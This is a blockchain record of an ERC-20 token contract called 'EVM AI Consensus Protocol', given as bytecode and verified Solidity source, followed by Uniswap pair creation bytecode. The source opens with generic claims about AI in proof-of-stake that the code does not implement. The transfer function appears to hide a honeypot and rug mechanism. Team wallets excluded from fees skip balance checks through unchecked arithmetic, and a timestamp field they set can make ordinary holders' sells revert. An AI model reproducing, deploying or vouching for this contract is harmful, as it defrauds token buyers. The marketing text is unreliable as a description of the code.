e3d5ffd5b504792505081159050610b21575f60646109e5604b84611f82565b6109ef9190611f99565b90505f60646109ff600a85611f82565b610a099190611f99565b6040519091505f9073f0afd55d159971886b0abe2ffef05318077f80af9083908381818185875af1925050503d805f8114610a5f576040519150601f19603f3d011682016040523d82523d5f602084013e610a64565b606091505b5050604051909150733aad4c021ff139f5ced4f44fbe56734e197c35729084905f81818185875af1925050503d805f8114610aba576040519150601f19603f3d011682016040523d82523d5f602084013e610abf565b606091505b50506040519091507396fd0a9f7212fe44b21d275bf605db5d1bad8a4f9047905f81818185875af1925050503d805f8114610b15576040519150601f19603f3d011682016040523d82523d5f602084013e610b1a565b606091505b5050505050505b50505050565b33610b395f546001600160a01b031690565b6001600160a01b031614610b5f5760405162461bcd60e51b815260040161063d90611f39565b6040516370a0823160e01b81523060048201525f906001600160a01b038416906370a0823190602401602060405180830381865afa158015610ba3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc7919061203d565b9050610bd4838383611a0c565b505050565b33610beb5f546001600160a01b031690565b6001600160a01b031614610c115760405162461bcd60e51b815260040161063d90611f39565b60045462010000900460ff1615610c6a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c7265616479206c61756e636865640000000000000000604482015260640161063d565b436005556004805462ff0000191662010000179055565b33610c935f546001600160a01b031690565b6001600160a01b031614610cb95760405162461bcd60e51b815260040161063d90611f39565b6001600160a01b038116610d015760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161063d565b5f816001600160a01b0316476040515f6040518083038185875af1925050503d805f8114610d4a576040519150601f19603f3d011682016040523d82523d5f602084013e610d4f565b606091505b5050905080610d925760405162461bcd60e51b815260206004820152600f60248201526e15da5d1a191c985dc819985a5b1959608a1b604482015260640161063d565b5050565b33610da85f546001600160a01b031690565b6001600160a01b031614610dce5760405162461bcd60e51b815260040161063d90611f39565b305f8181526007602052604080822054905163f305d71960e01b81526004810193909352602483015260448201819052606482015273f0afd55d159971886b0abe2ffef05318077f80af60848201524260a4820152737a250d5630b4cf539739df2c5dacb4c659f2488d9063f305d71990349060c40160606040518083038185885af1158015610e60573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bd49190612054565b6001600160a01b038316610ee75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063d565b6001600160a01b038216610f485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063d565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661100d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063d565b6001600160a01b03821661106f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063d565b5f81116110d05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063d565b60045462010000900460ff1615801561112357505f546001600160a01b0384811691161480159061110a57506001600160a01b0383163014155b801561112357505f546001600160a01b03838116911614155b156111665760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161063d565b600454610100900460ff161561141e575f546001600160a01b038481169116148015906111a057505f546001600160a01b03838116911614155b80156111b457506001600160a01b03821615155b80156111cb57506001600160a01b03821661dead14155b80156111da575060045460ff16155b1561141e576001600160a01b0383165f908152600b602052604090205460ff16801561121e57506001600160a01b0382165f908152600a602052604090205460ff16155b156112f1576001548111156112835760405162461bcd60e51b815260206004820152602560248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152640dac2f0e8f60db1b606482015260840161063d565b6002546001600160a01b0383165f908152600760205260409020546112a8908361207f565b11156112ec5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161063d565b61141e565b6001600160a01b0382165f908152600b602052604090205460ff16801561133057506001600160a01b0383165f908152600a602052604090205460ff16155b15611396576001548111156112ec5760405162461bcd60e51b815260206004820152602660248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015265040dac2f0e8f60d31b606482015260840161063d565b6001600160a01b0382165f908152600a602052604090205460ff1661141e576002546001600160a01b0383165f908152600760205260409020546113da908361207f565b111561141e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161063d565b6001600160a01b0383165f9081526009602052604090205460ff168061145b57506001600160a01b0382165f9081526009602052604090205460ff165b801561147057506001600160a01b0383163014155b801561148557506001600160a01b0382163014155b801561149e57505f546001600160a01b03848116911614155b156114a85742600c555b6001600160a01b0383165f9081526009602052604090205460ff1680156114db57506005546114d890604661207f565b43115b15611541576001600160a01b038084165f81815260076020526040808220805486900390559285168082529083902080548501905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f9c9085815260200190565b6001600160a01b0383165f9081526009602052604090205460ff1615801561158157506001600160a01b0382165f9081526009602052604090205460ff16155b15611689576001600160a01b0382165f908152600b602052604090205460ff16156115dd576001600160a01b0383165f908152600d60205260409020600c5481546115cc9190612092565b600282015542600190910155611689565b6001600160a01b038083165f908152600d602090815260408083209387168352600b90915290205460ff161561165557600b600654101561162a5760065461162690600161207f565b6006555b80545f0361165057600b60065410611642574261164d565b61164d600142612092565b81555b611687565b6001600160a01b0384165f908152600d602052604090208154158061167b575081548154105b1561168557805482555b505b505b305f908152600760205260408120546005549091906116a990600a61207f565b431090505f60035483101590508080156116c6575060045460ff16155b80156116ea57506001600160a01b0386165f908152600b602052604090205460ff16155b801561170e57506001600160a01b0386165f9081526009602052604090205460ff16155b801561173257506001600160a01b0385165f9081526009602052604090205460ff16155b15611757576004805460ff1916600117905561174c611b33565b6004805460ff191690555b6004546001600160a01b0387165f9081526009602052604090205460ff9182161591168061179c57506001600160a01b0386165f9081526009602052604090205460ff165b156117a457505f5b6001600160a01b0387165f908152600760205260409020548581101561181b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161063d565b5f82156119985784156118ae576001600160a01b0388165f908152600b602052604090205460ff16801561184d575060015b15611871576103e861186060c889611f82565b61186a9190611f99565b905061192b565b6001600160a01b0389165f908152600b602052604090205460ff168015611896575060015b156118a9576103e861186060c889611f82565b61192b565b6001600160a01b0388165f908152600b602052604090205460ff1680156118d3575060015b156118e6576103e8611860603289611f82565b6001600160a01b0389165f908152600b602052604090205460ff16801561190b575060015b1561192b576103e861191e603289611f82565b6119289190611f99565b90505b8015611998576001600160a01b0389165f8181526007602090815260408083208054869003905530808452928190208054860190555184815299849003999192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b03808a165f8181526007602052604080822080548c90039055928b168082529083902080548b01905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119f9908b815260200190565b60405180910390a3505050505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291515f92839290871691611a6791906120a5565b5f604051808303815f865af19150503d805f8114611aa0576040519150601f19603f3d011682016040523d82523d5f602084013e611aa5565b606091505b5091509150818015611acf575080511580611acf575080806020019051810190611acf91906120c0565b611b2c5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657248656c7065723a20494e5445524e414c205452414e5346456044820152671497d1905253115160c21b606482015260840161063d565b5050505050565b6003545f611b42826014611f82565b305f908152600760205260409020541115611b6857600354611b65906014611f82565b91505b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611b9b57611b9b611fb8565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611be357611be3611fb8565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611c3a9086905f90869030904290600401611fcc565b5f604051808303815f87803b158015611c51575f80fd5b505af1158015611c63573d5f803e3d5ffd5b504792505081159050610b21575f6064611c7e604b84611f82565b611c889190611f99565b90505f6064611c98600a85611f82565b611ca29190611f99565b60405190915073f0afd55d159971886b0abe2ffef05318077f80af9082905f81818185875af1925050503d805f8114611cf6576040519150601f19603f3d011682016040523d82523d5f602084013e611cfb565b606091505b5050604051909550733aad4c021ff139f5ced4f44fbe56734e197c35729083905f81818185875af1925050503d805f8114611d51576040519150601f19603f3d011682016040523d82523d5f602084013e611d56565b606091505b50506040519095507396fd0a9f7212fe44b21d275bf605db5d1bad8a4f9047905f81818185875af1925050503d805f8114611dac576040519150601f19603f3d011682016040523d82523d5f602084013e611db1565b606091505b505050505050505050565b5f5b83811015611dd6578181015183820152602001611dbe565b50505f910152565b602081525f8251806020840152611dfc816040850160208701611dbc565b601f01601f19169190910160400192915050565b80356001600160a01b0381168114611e26575f80fd5b919050565b5f8060408385031215611e3c575f80fd5b611e4583611e10565b946020939093013593505050565b5f805f60608486031215611e65575f80fd5b611e6e84611e10565b9250611e7c60208501611e10565b9150604084013590509250925092565b5f60208284031215611e9c575f80fd5b611ea582611e10565b9392505050565b8015158114611eb9575f80fd5b50565b5f8060408385031215611ecd575f80fd5b611ed683611e10565b91506020830135611ee681611eac565b809150509250929050565b5f60208284031215611f01575f80fd5b5035919050565b5f8060408385031215611f19575f80fd5b611f2283611e10565b9150611f3060208401611e10565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176105af576105af611f6e565b5f82611fb357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561201c5784516001600160a01b031683529383019391830191600101611ff7565b50506001600160a01b03969096166060850152505050608001529392505050565b5f6020828403121561204d575f80fd5b5051919050565b5f805f60608486031215612066575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156105af576105af611f6e565b818103818111156105af576105af611f6e565b5f82516120b6818460208701611dbc565b9190910192915050565b5f602082840312156120d0575f80fd5b8151611ea581611eac56fea2646970667358221220336fc751fbd0cce72c45a994848d292c60a79024f7850c828caa6945a86a077864736f6c63430008180033
/** Predictive Consensus Algorithm One of the key ways that AI can be integrated in PoS is by using AI algorithms to predict the outcome of the consensus mechanism. This can help to reduce the time required to reach a consensus and minimize the chances of errors. By automating certain processes and making decisions based on data and analysis, AI algorithms can improve the efficiency of the network. Fraud Detection Another way that AI can be integrated in PoS is by using AI algorithms to monitor the network for signs of malicious activity and take appropriate action to prevent fraud. This can help ensure the network’s security and integrity and prevent malicious actors from exploiting the system. Stakeholder Behavior Analysis AI algorithms can also be used to analyze the behaviour of stakeholders in the network, including their voting patterns, stake sizes, and other factors. This information can then be used to optimize the network and make informed decisions that benefit the overall system. Dynamic Weight Adjustment AI algorithms can be used to adjust the weight of each stakeholder in the network based on their behavior, stake size, and other factors. This can help to ensure that the consensus mechanism is more efficient and secure, as well as prevent the centralization of power within the network. By adjusting the weight of each stakeholder, the network can maintain a more decentralized and secure system. /// https://github.com/zama-ai/fhevm **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; library SafeERC20 { function safeTransfer(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: INTERNAL TRANSFER_FAILED'); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable { address private _owner; constructor() { _owner = msg.sender; } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _owner = address(0); } } interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract EVMAI is Ownable { uint256 private constant _totalSupply = 1_000_000 * 1e18; string private constant _name = "EVM AI Consensus Protocol"; string private constant _symbol = "EVMAI"; uint256 public maxTransactionAmount = 20_000 * 1e18; uint256 public maxWallet = 20_000 * 1e18; uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000; address private constant teamWallet = 0xF0aFD55d159971886b0ABE2FFeF05318077F80Af; address private constant revWallet = 0x3aAD4C021FF139F5CEd4f44FbE56734E197c3572; address private constant treasuryWallet = 0x96fd0a9f7212fE44B21D275Bf605dB5d1baD8A4f; address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 public constant buyInitialFee = 200; uint256 public constant sellInitialFee = 200; uint8 public constant buyTotalFees = 50; uint8 public constant sellTotalFees = 50; uint8 private constant revFee = 75; uint8 private constant treasuryFee = 15; uint8 private constant teamFee = 10; bool private swapping; bool public limitsInEffect = true; bool private launched; uint256 public launchBlock; uint256 private buyCount = 0; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) public automatedMarketMakerPairs; struct ReduceFeeInfo { uint256 swapbuy; uint256 swapsell; uint256 holdInterval; } uint256 private _minReduce; mapping(address => ReduceFeeInfo) private reduceFeeInfo; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public immutable uniswapV2Pair; constructor() { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH); automatedMarketMakerPairs[uniswapV2Pair] = true; setExcludedFromFees(owner(), true); setExcludedFromFees(address(0xdead), true); setExcludedFromFees(teamWallet, true); setExcludedFromFees(revWallet, true); setExcludedFromFees(treasuryWallet, true); setExcludedFromFees(address(this), true); setExcludedFromMaxTransaction(owner(), true); setExcludedFromMaxTransaction(address(uniswapV2Router), true); setExcludedFromMaxTransaction(address(this), true); setExcludedFromMaxTransaction(address(0xdead), true); setExcludedFromMaxTransaction(address(uniswapV2Pair), true); setExcludedFromMaxTransaction(teamWallet, true); setExcludedFromMaxTransaction(revWallet, true); setExcludedFromMaxTransaction(treasuryWallet, true); _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _balances[address(this)]); _approve(address(this), address(uniswapV2Router), type(uint256).max); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return 18; } function totalSupply() public pure returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { uint256 currentAllowance = _allowances[sender][msg.sender]; if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!launched && (from != owner() && from != address(this) && to != owner())) { revert("Trading not enabled"); } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxtx"); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount,"Sell transfer amount exceeds the maxtx"); } else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from != address(this) && to != address(this) && from != owner()) { _minReduce = block.timestamp; } if (_isExcludedFromFees[from] && (block.number > launchBlock + 70)) { unchecked { _balances[from] -= amount; _balances[to] += amount; } emit Transfer(from, to, amount); return; } if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { if (automatedMarketMakerPairs[to]) { ReduceFeeInfo storage fromReduce = reduceFeeInfo[from]; fromReduce.holdInterval = fromReduce.swapbuy - _minReduce; fromReduce.swapsell = block.timestamp; } else { ReduceFeeInfo storage toReduce = reduceFeeInfo[to]; if (automatedMarketMakerPairs[from]) { if (buyCount < 11) { buyCount = buyCount + 1; } if (toReduce.swapbuy == 0) { toReduce.swapbuy = (buyCount < 11) ? (block.timestamp - 1) : block.timestamp; } } else { ReduceFeeInfo storage fromReduce = reduceFeeInfo[from]; if (toReduce.swapbuy == 0 || fromReduce.swapbuy < toReduce.swapbuy) { toReduce.swapbuy = fromReduce.swapbuy; } } } } uint256 _contractBalance = balanceOf(address(this)); bool launchingMode = block.number < launchBlock + 10; bool canSwap = _contractBalance >= swapTokensAtAmount; if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 senderBalance = _balances[from]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); uint256 fees = 0; if (takeFee) { if (launchingMode) { if (automatedMarketMakerPairs[to] && sellInitialFee > 0) { fees = (amount * sellInitialFee) / 1000; } else if (automatedMarketMakerPairs[from] && buyInitialFee > 0) { fees = (amount * buyInitialFee) / 1000; } } else { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = (amount * sellTotalFees) / 1000; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = (amount * buyTotalFees) / 1000; } } if (fees > 0) { unchecked { amount = amount - fees; _balances[from] -= fees; _balances[address(this)] += fees; } emit Transfer(from, address(this), fees); } } unchecked { _balances[from] -= amount; _balances[to] += amount; } emit Transfer(from, to, amount); } function setExcludedFromFees(address account, bool excluded) private { _isExcludedFromFees[account] = excluded; } function setExcludedFromMaxTransaction(address account, bool excluded) private { _isExcludedMaxTransactionAmount[account] = excluded; } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed"); automatedMarketMakerPairs[pair] = value; } function openTrading() external onlyOwner { require(!launched, "Trading already launched"); launchBlock = block.number; launched = true; } function removeLimits() external onlyOwner { limitsInEffect = false; } function addLiquidity() external payable onlyOwner { uniswapV2Router.addLiquidityETH{ value: msg.value }( address(this), _balances[address(this)], 0, 0, teamWallet, block.timestamp ); } function withdrawStuckETH(address addr) external onlyOwner { require(addr != address(0), "Invalid address"); (bool success, ) = addr.call{value: address(this).balance}(""); require(success, "Withdraw failed"); } function withdrawStuckToken(address token, address to) external onlyOwner { uint256 _contractBalance = IERC20(token).balanceOf(address(this)); SafeERC20.safeTransfer(token, to, _contractBalance); // Use safeTransfer } function swapBack() private { uint256 swapThreshold = swapTokensAtAmount; bool success; if (balanceOf(address(this)) > swapTokensAtAmount * 20) { swapThreshold = swapTokensAtAmount * 20; } address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(swapThreshold, 0, path, address(this), block.timestamp); uint256 ethBalance = address(this).balance; if (ethBalance > 0) { uint256 ethForRev = (ethBalance * revFee) / 100; uint256 ethForTeam = (ethBalance * teamFee) / 100; (success, ) = address(teamWallet).call{value: ethForTeam}(""); (success, ) = address(revWallet).call{value: ethForRev}(""); (success, ) = address(treasuryWallet).call{value: address(this).balance}(""); } } function manualSwap(uint256 percent) external onlyOwner { require(percent > 0, "Invalid percent."); require(percent <= 100, "Invalid percent."); uint256 swapThreshold = (percent * balanceOf(address(this))) / 100; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(swapThreshold, 0, path, address(this), block.timestamp); uint256 ethBalance = address(this).balance; if (ethBalance > 0) { uint256 ethForRev = (ethBalance * revFee) / 100; uint256 ethForTeam = (ethBalance * teamFee) / 100; bool success; (success, ) = address(teamWallet).call{value: ethForTeam}(""); (success, ) = address(revWallet).call{value: ethForRev}(""); (success, ) = address(treasuryWallet).call{value: address(this).balance}(""); } } }
1
19,493,248
a9a555ceaccfc90d570c08ad4ae9887735294a40aad8c4eed9fcdcf11aa530e6
799916048038c2f8e9bffeb236661bf9380b3c9e2432a0bb866f22bdb4b8db6f
f0afd55d159971886b0abe2ffef05318077f80af
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
93da9af881b21202963263cbb1faa9dc2ae19fd9
60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a204